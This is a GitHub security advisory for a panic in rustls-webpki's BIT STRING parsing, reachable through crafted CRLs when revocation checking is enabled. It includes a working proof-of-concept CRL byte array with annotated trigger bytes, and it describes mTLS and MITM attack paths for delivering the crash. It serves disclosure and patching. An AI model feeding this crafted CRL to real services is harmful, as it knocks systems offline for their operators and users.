GHSA-82j2-j2ch-gfr8
ADVISORY - githubSummary
Summary
bit_string_flags() in src/der.rs panics with an index-out-of-bounds when given a BIT STRING whose content is exactly [0x00] (one byte: zero padding bits, zero data bytes). This is reachable through the public API BorrowedCertRevocationList::from_der() via the issuingDistributionPoint CRL extension.
Precondition: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass RevocationOptions to verify_for_usage() and load CRL bytes from a source the attacker can influence. The default rustls configuration (no RevocationOptions) is not affected.
AI disclosure: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.
Details
bit_string_flags() in src/der.rs reads the content of named-bit BIT
STRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:
if padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) {
return Err(Error::BadDer);
}
let last_byte = raw_bits[raw_bits.len() - 1]; // ← crash
misses the case padding_bits == 0 && raw_bits.is_empty().
When a BIT STRING has content [0x00] (one padding-bits byte set to zero, no data bytes):
- padding_bits = 0x00 — passes the > 7 check ✓
- raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false)
- raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX
- raw_bits[usize::MAX] → panic
Debug: thread 'main' panicked: attempt to subtract with overflow Release: thread 'main' panicked: index out of bounds: the len is 0 but the index is 18446744073709551615
PoC
Cargo.toml:
[dependencies]
rustls-webpki = "0.102.8" # also reproduces on 0.103.12
src/main.rs:
fn main() {
let crl: &[u8] = &[
0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,
0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,
0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,
0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,
0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
0x03, 0x02, 0x00, 0x00,
];
// Panics — never returns
let _ = webpki::BorrowedCertRevocationList::from_der(crl);
}
output:
thread 'main' panicked at src/der.rs:...
index out of bounds: the len is 0 but the index is 18446744073709551615
Trigger
a0 10 -- cRLExtensions [0] EXPLICIT
30 0e -- SEQUENCE OF Extension
30 0c -- Extension SEQUENCE
06 03 55 1d 1c -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)
04 05 -- OCTET STRING (extnValue)
30 03 -- IssuingDistributionPoint SEQUENCE
83 01 00 -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00
-- padding_bits=0, data=[] ← TRIGGER
Impact
- Who is affected: Applications that (1) use rustls-webpki with CRL revocation checking explicitly enabled via RevocationOptions, and (2) load CRL bytes from a source an attacker can influence.
- Attack paths:
- mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required.
- TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.
Common Weakness Enumeration (CWE)
Out-of-bounds Read
GitHub
3.9
CVSS SCORE
7.5high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| rustls-webpki | cargo | - | - | <0.103.13 | 0.103.13 |
| rustls-webpki | cargo | - | - | >=0.104.0-alpha.1,<0.104.0-alpha.7 | 0.104.0-alpha.7 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is no loss of confidentiality.
There is no loss of trust or accuracy within the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.
Chainguard
CGA-97fq-hxr6-j6wr
-
minimos
MINI-376x-84mg-g8c4
-
minimos
MINI-47rc-vpv4-r58r
-
minimos
MINI-59cg-pqc9-mxr5
-
minimos
MINI-756h-jxwg-gp29
-
minimos
MINI-7856-2jwx-326j
-
minimos
MINI-7j9f-833g-32gc
-
minimos
MINI-8239-vxj6-q428
-
minimos
MINI-9cxg-655j-c76x
-
minimos
MINI-g7hr-3wr2-w95g
-
minimos
MINI-gf4r-hrr2-7jgq
-
minimos
MINI-hh4c-hf8m-r62f
-
minimos
MINI-j6hf-7v84-g345
-
minimos
MINI-m3jp-fcjj-5g8h
-
minimos
MINI-pfgg-px3x-hmr8
-
minimos
MINI-ph53-8jcq-g5q7
-
minimos
MINI-qg93-c783-w66x
-
minimos
MINI-rhj4-597r-867r
-
minimos
MINI-v3vx-m524-2jmm
-